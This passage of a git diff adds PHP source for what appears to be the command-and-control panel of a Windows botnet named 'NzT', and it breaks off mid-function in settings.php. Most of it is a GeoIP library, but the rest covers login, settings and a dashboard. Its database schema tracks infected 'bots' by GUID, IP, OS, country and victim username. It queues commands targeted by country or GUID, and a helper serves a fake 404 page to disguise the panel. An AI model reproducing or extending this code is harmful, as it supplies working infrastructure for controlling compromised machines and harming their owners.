"Kyrgyzstan", + "Cambodia", + "Kiribati", + "Comoros", + "Saint Kitts and Nevis", + "Korea, Democratic People's Republic of", + "Korea, Republic of", + "Kuwait", + "Cayman Islands", + "Kazakhstan", + "Lao People's Democratic Republic", + "Lebanon", + "Saint Lucia", + "Liechtenstein", + "Sri Lanka", + "Liberia", + "Lesotho", + "Lithuania", + "Luxembourg", + "Latvia", + "Libya", + "Morocco", + "Monaco", + "Moldova, Republic of", + "Madagascar", + "Marshall Islands", + "Macedonia", + "Mali", + "Myanmar", + "Mongolia", + "Macau", + "Northern Mariana Islands", + "Martinique", + "Mauritania", + "Montserrat", + "Malta", + "Mauritius", + "Maldives", + "Malawi", + "Mexico", + "Malaysia", + "Mozambique", + "Namibia", + "New Caledonia", + "Niger", + "Norfolk Island", + "Nigeria", + "Nicaragua", + "Netherlands", + "Norway", + "Nepal", + "Nauru", + "Niue", + "New Zealand", + "Oman", + "Panama", + "Peru", + "French Polynesia", + "Papua New Guinea", + "Philippines", + "Pakistan", + "Poland", + "Saint Pierre and Miquelon", + "Pitcairn Islands", + "Puerto Rico", + "Palestinian Territory", + "Portugal", + "Palau", + "Paraguay", + "Qatar", + "Reunion", + "Romania", + "Russian Federation", + "Rwanda", + "Saudi Arabia", + "Solomon Islands", + "Seychelles", + "Sudan", + "Sweden", + "Singapore", + "Saint Helena", + "Slovenia", + "Svalbard and Jan Mayen", + "Slovakia", + "Sierra Leone", + "San Marino", + "Senegal", + "Somalia", + "Suriname", + "Sao Tome and Principe", + "El Salvador", + "Syrian Arab Republic", + "Swaziland", + "Turks and Caicos Islands", + "Chad", + "French Southern Territories", + "Togo", + "Thailand", + "Tajikistan", + "Tokelau", + "Turkmenistan", + "Tunisia", + "Tonga", + "Timor-Leste", + "Turkey", + "Trinidad and Tobago", + "Tuvalu", + "Taiwan", + "Tanzania, United Republic of", + "Ukraine", + "Uganda", + "United States Minor Outlying Islands", + "United States", + "Uruguay", + "Uzbekistan", + "Holy See (Vatican City State)", + "Saint Vincent and the Grenadines", + "Venezuela", + "Virgin Islands, British", + "Virgin Islands, U.S.", + "Vietnam", + "Vanuatu", + "Wallis and Futuna", + "Samoa", + "Yemen", + "Mayotte", + "Serbia", + "South Africa", + "Zambia", + "Montenegro", + "Zimbabwe", + "Anonymous Proxy", + "Satellite Provider", + "Other", + "Aland Islands", + "Guernsey", + "Isle of Man", + "Jersey", + "Saint Barthelemy", + "Saint Martin", + "Bonaire, Saint Eustatius and Saba", + "South Sudan", + "Other" + ); + + public $GEOIP_CONTINENT_CODES = array( + "--", + "AS", + "EU", + "EU", + "AS", + "AS", + "NA", + "NA", + "EU", + "AS", + "NA", + "AF", + "AN", + "SA", + "OC", + "EU", + "OC", + "NA", + "AS", + "EU", + "NA", + "AS", + "EU", + "AF", + "EU", + "AS", + "AF", + "AF", + "NA", + "AS", + "SA", + "SA", + "NA", + "AS", + "AN", + "AF", + "EU", + "NA", + "NA", + "AS", + "AF", + "AF", + "AF", + "EU", + "AF", + "OC", + "SA", + "AF", + "AS", + "SA", + "NA", + "NA", + "AF", + "AS", + "AS", + "EU", + "EU", + "AF", + "EU", + "NA", + "NA", + "AF", + "SA", + "EU", + "AF", + "AF", + "AF", + "EU", + "AF", + "EU", + "OC", + "SA", + "OC", + "EU", + "EU", + "NA", + "AF", + "EU", + "NA", + "AS", + "SA", + "AF", + "EU", + "NA", + "AF", + "AF", + "NA", + "AF", + "EU", + "AN", + "NA", + "OC", + "AF", + "SA", + "AS", + "AN", + "NA", + "EU", + "NA", + "EU", + "AS", + "EU", + "AS", + "AS", + "AS", + "AS", + "AS", + "EU", + "EU", + "NA", + "AS", + "AS", + "AF", + "AS", + "AS", + "OC", + "AF", + "NA", + "AS", + "AS", + "AS", + "NA", + "AS", + "AS", + "AS", + "NA", + "EU", + "AS", + "AF", + "AF", + "EU", + "EU", + "EU", + "AF", + "AF", + "EU", + "EU", + "AF", + "OC", + "EU", + "AF", + "AS", + "AS", + "AS", + "OC", + "NA", + "AF", + "NA", + "EU", + "AF", + "AS", + "AF", + "NA", + "AS", + "AF", + "AF", + "OC", + "AF", + "OC", + "AF", + "NA", + "EU", + "EU", + "AS", + "OC", + "OC", + "OC", + "AS", + "NA", + "SA", + "OC", + "OC", + "AS", + "AS", + "EU", + "NA", + "OC", + "NA", + "AS", + "EU", + "OC", + "SA", + "AS", + "AF", + "EU", + "EU", + "AF", + "AS", + "OC", + "AF", + "AF", + "EU", + "AS", + "AF", + "EU", + "EU", + "EU", + "AF", + "EU", + "AF", + "AF", + "SA", + "AF", + "NA", + "AS", + "AF", + "NA", + "AF", + "AN", + "AF", + "AS", + "AS", + "OC", + "AS", + "AF", + "OC", + "AS", + "EU", + "NA", + "OC", + "AS", + "AF", + "EU", + "AF", + "OC", + "NA", + "SA", + "AS", + "EU", + "NA", + "SA", + "NA", + "NA", + "AS", + "OC", + "OC", + "OC", + "AS", + "AF", + "EU", + "AF", + "AF", + "EU", + "AF", + "--", + "--", + "--", + "EU", + "EU", + "EU", + "EU", + "NA", + "NA", + "NA", + "AF", + "--" + ); +} + +function geoip_load_shared_mem($file) +{ + $fp = fopen($file, "rb"); + if (!$fp) { + print "error opening $file: $php_errormsg\n"; + exit; + } + $s_array = fstat($fp); + $size = $s_array['size']; + if (($shmid = @shmop_open(GEOIP_SHM_KEY, "w", 0, 0))) { + shmop_delete($shmid); + shmop_close($shmid); + } + $shmid = shmop_open(GEOIP_SHM_KEY, "c", 0644, $size); + shmop_write($shmid, fread($fp, $size), 0); + shmop_close($shmid); +} + +function _setup_segments($gi) +{ + $gi->databaseType = GEOIP_COUNTRY_EDITION; + $gi->record_length = STANDARD_RECORD_LENGTH; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $offset = @shmop_size($gi->shmid) - 3; + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = @shmop_read($gi->shmid, $offset, 3); + $offset += 3; + if ($delim == (chr(255) . chr(255) . chr(255))) { + $gi->databaseType = ord(@shmop_read($gi->shmid, $offset, 1)); + if ($gi->databaseType >= 106) { + $gi->databaseType -= 105; + } + $offset++; + + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0) { + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } elseif ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } elseif (($gi->databaseType == GEOIP_CITY_EDITION_REV0) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6) + ) { + $gi->databaseSegments = 0; + $buf = @shmop_read($gi->shmid, $offset, SEGMENT_RECORD_LENGTH); + for ($j = 0; $j < SEGMENT_RECORD_LENGTH; $j++) { + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if (($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + ) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + $offset -= 4; + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION) || + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6) || + ($gi->databaseType == GEOIP_PROXY_EDITION) || + ($gi->databaseType == GEOIP_NETSPEED_EDITION) + ) { + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + } else { + $filepos = ftell($gi->filehandle); + fseek($gi->filehandle, -3, SEEK_END); + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = fread($gi->filehandle, 3); + if ($delim == (chr(255) . chr(255) . chr(255))) { + $gi->databaseType = ord(fread($gi->filehandle, 1)); + if ($gi->databaseType >= 106) { + $gi->databaseType -= 105; + } + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0) { + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } elseif ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } elseif (($gi->databaseType == GEOIP_CITY_EDITION_REV0) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6) + ) { + $gi->databaseSegments = 0; + $buf = fread($gi->filehandle, SEGMENT_RECORD_LENGTH); + for ($j = 0; $j < SEGMENT_RECORD_LENGTH; $j++) { + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if (($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + ) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + fseek($gi->filehandle, -4, SEEK_CUR); + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION) || + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6) || + ($gi->databaseType == GEOIP_PROXY_EDITION) || + ($gi->databaseType == GEOIP_NETSPEED_EDITION) + ) { + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + fseek($gi->filehandle, $filepos, SEEK_SET); + } + return $gi; +} + +function geoip_open($filename, $flags) +{ + $gi = new GeoIP; + $gi->flags = $flags; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $gi->shmid = @shmop_open(GEOIP_SHM_KEY, "a", 0, 0); + } else { + $gi->filehandle = fopen($filename, "rb") or trigger_error("GeoIP API: Can not open $filename\n", E_USER_ERROR); + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $s_array = fstat($gi->filehandle); + $gi->memory_buffer = fread($gi->filehandle, $s_array['size']); + } + } + + $gi = _setup_segments($gi); + return $gi; +} + +function geoip_close($gi) +{ + if ($gi->flags & GEOIP_SHARED_MEMORY) { + return true; + } + + return fclose($gi->filehandle); +} + +function geoip_country_id_by_name_v6($gi, $name) +{ + $rec = dns_get_record($name, DNS_AAAA); + if (!$rec) { + return false; + } + $addr = $rec[0]["ipv6"]; + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr_v6($gi, $addr); +} + +function geoip_country_id_by_name($gi, $name) +{ + $addr = gethostbyname($name); + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr($gi, $addr); +} + +function geoip_country_code_by_name_v6($gi, $name) +{ + $country_id = geoip_country_id_by_name_v6($gi, $name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_code_by_name($gi, $name) +{ + $country_id = geoip_country_id_by_name($gi, $name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_name_by_name_v6($gi, $name) +{ + $country_id = geoip_country_id_by_name_v6($gi, $name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_name_by_name($gi, $name) +{ + $country_id = geoip_country_id_by_name($gi, $name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_id_by_addr_v6($gi, $addr) +{ + $ipnum = inet_pton($addr); + return _geoip_seek_country_v6($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} + +function geoip_country_id_by_addr($gi, $addr) +{ + $ipnum = ip2long($addr); + return _geoip_seek_country($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} + +function geoip_country_code_by_addr_v6($gi, $addr) +{ + $country_id = geoip_country_id_by_addr_v6($gi, $addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_code_by_addr($gi, $addr) +{ + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi, $addr); + if ($record !== false) { + return $record->country_code; + } + } else { + $country_id = geoip_country_id_by_addr($gi, $addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + } + return false; +} + +function geoip_country_name_by_addr_v6($gi, $addr) +{ + $country_id = geoip_country_id_by_addr_v6($gi, $addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_name_by_addr($gi, $addr) +{ + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi, $addr); + return $record->country_name; + } else { + $country_id = geoip_country_id_by_addr($gi, $addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + } + return false; +} + +function _geoip_seek_country_v6($gi, $ipnum) +{ + # arrays from unpack start with offset 1 + # yet another php mystery. array_merge work around + # this broken behaviour + $v6vec = array_merge(unpack("C16", $ipnum)); + + $offset = 0; + for ($depth = 127; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $buf = _safe_substr( + $gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length + ); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read( + $gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length + ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or trigger_error("GeoIP API: fseek failed", E_USER_ERROR); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0, 0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + + $bnum = 127 - $depth; + $idx = $bnum >> 3; + $b_mask = 1 << ($bnum & 7 ^ 7); + if (($v6vec[$idx] & $b_mask) > 0) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("GeoIP API: Error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} + +function _geoip_seek_country($gi, $ipnum) +{ + $offset = 0; + for ($depth = 31; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $buf = _safe_substr( + $gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length + ); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read( + $gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length + ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or trigger_error("GeoIP API: fseek failed", E_USER_ERROR); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0, 0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + if ($ipnum & (1 << $depth)) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("GeoIP API: Error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} + +function _common_get_org($gi, $seek_org) +{ + $record_pointer = $seek_org + (2 * $gi->record_length - 1) * $gi->databaseSegments; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $org_buf = @shmop_read($gi->shmid, $record_pointer, MAX_ORG_RECORD_LENGTH); + } else { + fseek($gi->filehandle, $record_pointer, SEEK_SET); + $org_buf = fread($gi->filehandle, MAX_ORG_RECORD_LENGTH); + } + $org_buf = _safe_substr($org_buf, 0, strpos($org_buf, "\0")); + return $org_buf; +} + +function _get_org_v6($gi, $ipnum) +{ + $seek_org = _geoip_seek_country_v6($gi, $ipnum); + if ($seek_org == $gi->databaseSegments) { + return null; + } + return _common_get_org($gi, $seek_org); +} + +function _get_org($gi, $ipnum) +{ + $seek_org = _geoip_seek_country($gi, $ipnum); + if ($seek_org == $gi->databaseSegments) { + return null; + } + return _common_get_org($gi, $seek_org); +} + + +function geoip_name_by_addr_v6($gi, $addr) +{ + if ($addr == null) { + return 0; + } + $ipnum = inet_pton($addr); + return _get_org_v6($gi, $ipnum); +} + +function geoip_name_by_addr($gi, $addr) +{ + if ($addr == null) { + return 0; + } + $ipnum = ip2long($addr); + return _get_org($gi, $ipnum); +} + +function geoip_org_by_addr($gi, $addr) +{ + return geoip_name_by_addr($gi, $addr); +} + +function _get_region($gi, $ipnum) +{ + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0) { + $seek_region = _geoip_seek_country($gi, $ipnum) - GEOIP_STATE_BEGIN_REV0; + if ($seek_region >= 1000) { + $country_code = "US"; + $region = chr(($seek_region - 1000) / 26 + 65) . chr(($seek_region - 1000) % 26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[$seek_region]; + $region = ""; + } + return array($country_code, $region); + } elseif ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { + $seek_region = _geoip_seek_country($gi, $ipnum) - GEOIP_STATE_BEGIN_REV1; + if ($seek_region < US_OFFSET) { + $country_code = ""; + $region = ""; + } elseif ($seek_region < CANADA_OFFSET) { + $country_code = "US"; + $region = chr(($seek_region - US_OFFSET) / 26 + 65) . chr(($seek_region - US_OFFSET) % 26 + 65); + } elseif ($seek_region < WORLD_OFFSET) { + $country_code = "CA"; + $region = chr(($seek_region - CANADA_OFFSET) / 26 + 65) . chr(($seek_region - CANADA_OFFSET) % 26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[(int) (($seek_region - WORLD_OFFSET) / FIPS_RANGE)]; + $region = ""; + } + return array($country_code, $region); + } + return null; +} + +function geoip_region_by_addr($gi, $addr) +{ + if ($addr == null) { + return 0; + } + $ipnum = ip2long($addr); + return _get_region($gi, $ipnum); +} + +function _safe_substr($string, $start, $length) +{ + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $mbExists = extension_loaded('mbstring'); + + if ($mbExists) { + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + } + + $buf = substr($string, $start, $length); + + if ($mbExists) { + mb_internal_encoding($enc); + } + + return $buf; +} diff --git a/panel/inc/ui.php b/panel/inc/ui.php new file mode 100644 index 0000000..c1651ca --- /dev/null +++ b/panel/inc/ui.php @@ -0,0 +1,69 @@ + + + + + NzT - <?php echo($title); ?> + + + + + +'.$text.''); +} + +function ui_content_start() +{ +?> +

+
+ +
+
+ + + + + \ No newline at end of file diff --git a/panel/inc/utils.php b/panel/inc/utils.php new file mode 100644 index 0000000..37ec95e --- /dev/null +++ b/panel/inc/utils.php @@ -0,0 +1,237 @@ +No file uploaded'); +} + +function gen_qmarks($arr) +{ + return str_repeat('?, ', count($arr) - 1).'?'; +} + +function get_pag_vars($total, &$pages, &$page, &$offset) +{ + global $CONST_PAGE_LIMIT; + $pages = ceil($total / $CONST_PAGE_LIMIT); + $page = 1; + if(isset($_GET['page'])) + { + $page = (int) $_GET['page']; + if($page > $pages) + $page = $pages; + else if($page < 1) + $page = 1; + } + $offset = ($page - 1) * $CONST_PAGE_LIMIT; +} + +function get_os($os) +{ + if($os == 0) + return 'Windows 2000'; + else if ($os == 1) + return 'Windows XP'; + else if ($os == 2) + return 'Windows Vista'; + else if ($os == 3) + return 'Windows 7'; + else if ($os == 4) + return 'Windows 8'; + else if ($os == 5) + return 'Windows 8.1'; + else if ($os == 6) + return 'Windows 10'; + else if ($os == 7) + return 'Windows 11'; + else + return 'Unknown'; +} + +function get_ip() +{ + if (isset($_SERVER["HTTP_X_REAL_IP"])) + { + return $_SERVER["HTTP_X_REAL_IP"]; + } + else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) + { + return $_SERVER ["HTTP_X_FORWARDED_FOR"]; + } + + return $_SERVER ['REMOTE_ADDR']; +} + +function get_country($ip) +{ + $gi = geoip_open('inc/geoip.dat', GEOIP_STANDARD); + $country = geoip_country_code_by_addr($gi, $ip); + geoip_close($gi); + if (empty($country)) + return '??'; + return $country; +} + +function format_time($time) +{ + return date('d/m/Y H:i:s', $time); +} + +function time_since($time) +{ + $time = time() - $time; + $time = ($time < 1) ? 1 : $time; + $tokens = array ( + 31536000 => 'year', + 2592000 => 'month', + 604800 => 'week', + 86400 => 'day', + 3600 => 'hour', + 60 => 'minute', + 1 => 'second' + ); + + foreach($tokens as $unit => $text) + { + if($time < $unit) continue; + $numberOfUnits = floor($time / $unit); + return $numberOfUnits.' '.$text.(($numberOfUnits > 1) ? 's' : '').' ago'; + } +} + +function is_online($time) +{ + global $CONF_TIMEOUT_OFFLINE; + return (time() - $time) < $CONF_TIMEOUT_OFFLINE ; +} + +function echo_hidden_fields() +{ + $args = func_get_args(); + foreach($_GET as $name => $value) + { + if(!in_array($name, $args)) + echo(''); + } +} + +function echo_pag_form($page, $pages) +{ + $firstDisabled = $page == 1 ? 'disabled' : ''; + echo('
First'); + echo(' Previous'); + echo_hidden_fields('page'); + echo(' '); + $lastDisabled = $page == $pages ? 'disabled' : ''; + echo(' Next'); + echo(' Last
'); +} + +function add_get_param($name, $value) +{ + $params = $_GET; + unset($params[$name]); + $params[$name] = $value; + return basename($_SERVER['PHP_SELF']).'?'.http_build_query($params); +} + +function action_sec_check() +{ + if($_SERVER['REQUEST_METHOD'] == 'POST') + $userTime = $_POST['time']; + else + $userTime = $_GET['time']; + if($userTime != $_SESSION['time']) + exit(); +} + +function error404() +{ + header('HTTP/1.1 404 Not Found', TRUE, 404); + echo << + + 404 Not Found + +

Not Found

+ The requested URL $_SERVER[REQUEST_URI] was not found on this server. +
+ $_SERVER[HTTP_HOST] + +HTML; + echo str_repeat ("\r\n", 50); + exit(); +} + +function http_redirect($url) +{ + header("Location: $url"); + exit(); +} + +function http_no_cache() +{ + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Pragma: no-cache"); + header("Cache-Control: no-cache, must-revalidate"); +} + + +?> \ No newline at end of file diff --git a/panel/index.php b/panel/index.php new file mode 100644 index 0000000..ecfc38b --- /dev/null +++ b/panel/index.php @@ -0,0 +1,129 @@ +query('SELECT COUNT(*) FROM bots'); +$totalBots = $query->fetchColumn(); + +$total = $totalBots; + +if($total == 0) + echo('
Database is empty
'); +else +{ +?> + +
+prepare('SELECT COUNT(*) FROM bots WHERE last_seen > ?'); + $query->bindValue(1, time() - $CONF_TIMEOUT_OFFLINE, PDO::PARAM_INT); + $query->execute(); + $online = (int) $query->fetchColumn(); + $offline = $total - $online; + + $query = $db->prepare('SELECT COUNT(*) FROM bots WHERE last_seen < ?'); + $query->bindValue(1, time() - $CONF_TIMEOUT_DEAD, PDO::PARAM_INT); + $query->execute(); + $dead = $query->fetchColumn(); + + $query = $db->prepare('SELECT COUNT(*) FROM bots WHERE last_seen > ?'); + $query->bindValue(1, time() - 60 * 60 * 24, PDO::PARAM_INT); + $query->execute(); + $online24h = (int) $query->fetchColumn(); +?> +
+
Amount
+ + + + + + +
Total:
Online:
Offline:
Bots seen since 24h:
Dead:
+
+query('SELECT COUNT(*) FROM bots WHERE arch = 1'); + $x64 = $query->fetchColumn(); + + $os = array(); + $query = $db->query('SELECT os FROM bots'); + $rows = $query->fetchAll(); + foreach($rows as $row) + { + $osName = get_os($row['os']); + if(isset($os[$osName])) + ++$os[$osName]; + else + $os[$osName] = 1; + } + arsort($os); +?> +
+
Computer Info
+ + $value) + echo(''); +?> + + +
'.$key.':'.format_count($value).'
x64:
x86:
+
+
+
Countries
+ +query('SELECT DISTINCT country, COUNT(*) as num FROM bots GROUP BY country ORDER BY num DESC'); + $rows = $query->fetchAll(); + $geoip = new GeoIP(); + foreach($rows as $row) + { + echo(''); + } +?> +
'.$row['country'].' ('.$geoip->GEOIP_COUNTRY_NAMES[$geoip->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['country']]].'):'.format_count($row['num']).'
+
+
+ \ No newline at end of file diff --git a/panel/login.php b/panel/login.php new file mode 100644 index 0000000..386234d --- /dev/null +++ b/panel/login.php @@ -0,0 +1,48 @@ + +
+
Login
+ Invalid username or password!
'); + } + ?> +
+ + + + + + +
Username:
Password:
+ +
+
+ + \ No newline at end of file diff --git a/panel/logout.php b/panel/logout.php new file mode 100644 index 0000000..025206f --- /dev/null +++ b/panel/logout.php @@ -0,0 +1,12 @@ + \ No newline at end of file diff --git a/panel/private/.htaccess b/panel/private/.htaccess new file mode 100644 index 0000000..3418e55 --- /dev/null +++ b/panel/private/.htaccess @@ -0,0 +1 @@ +deny from all \ No newline at end of file diff --git a/panel/private/db.sql b/panel/private/db.sql new file mode 100644 index 0000000..d3a50b3 --- /dev/null +++ b/panel/private/db.sql @@ -0,0 +1,43 @@ +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET NAMES utf8 */; +/*!50503 SET NAMES utf8mb4 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; + +DROP DATABASE IF EXISTS `panel`; +CREATE DATABASE IF NOT EXISTS `panel` /*!40100 DEFAULT CHARACTER SET latin1 */; +USE `panel`; + +DROP TABLE IF EXISTS `bots`; +CREATE TABLE IF NOT EXISTS `bots` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `guid` varchar(50) NOT NULL, + `ip` int(11) unsigned NOT NULL, + `os` tinyint(4) unsigned NOT NULL, + `arch` tinyint(4) unsigned NOT NULL, + `country` char(2) NOT NULL, + `username` varchar(50) NOT NULL, + `last_seen` int(11) unsigned NOT NULL, + `first_seen` int(11) unsigned NOT NULL, + `last_command` int(11) unsigned NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `guid` (`guid`) +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +DROP TABLE IF EXISTS `commands`; +CREATE TABLE IF NOT EXISTS `commands` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `execs` int(11) unsigned NOT NULL, + `limit` int(11) unsigned NOT NULL, + `enabled` tinyint(4) unsigned NOT NULL, + `created` int(11) unsigned NOT NULL, + `type` tinyint(4) unsigned NOT NULL, + `param` text NOT NULL, + `countries` text NOT NULL, + `guids` text NOT NULL, + PRIMARY KEY (`id`) +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +/*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */; +/*!40014 SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS IS NULL, 1, @OLD_FOREIGN_KEY_CHECKS) */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; diff --git a/panel/settings.php b/panel/settings.php new file mode 100644 index 0000000..7244bfa --- /dev/null +++ b/panel/settings.php @@ -0,0 +1,148 @@ +Settings updated'); +} + +function write_settings() +{ + global + $CONF_TIMEOUT_OFFLINE, + $CONF_TIMEOUT_DEAD, + $CONF_DB_HOST, + $CONF_DB_NAME, + $CONF_DB_USER, + $CONF_DB_PASS, + $CONF_PANEL_USER, + $CONF_PANEL_PASS; + file_put_contents + 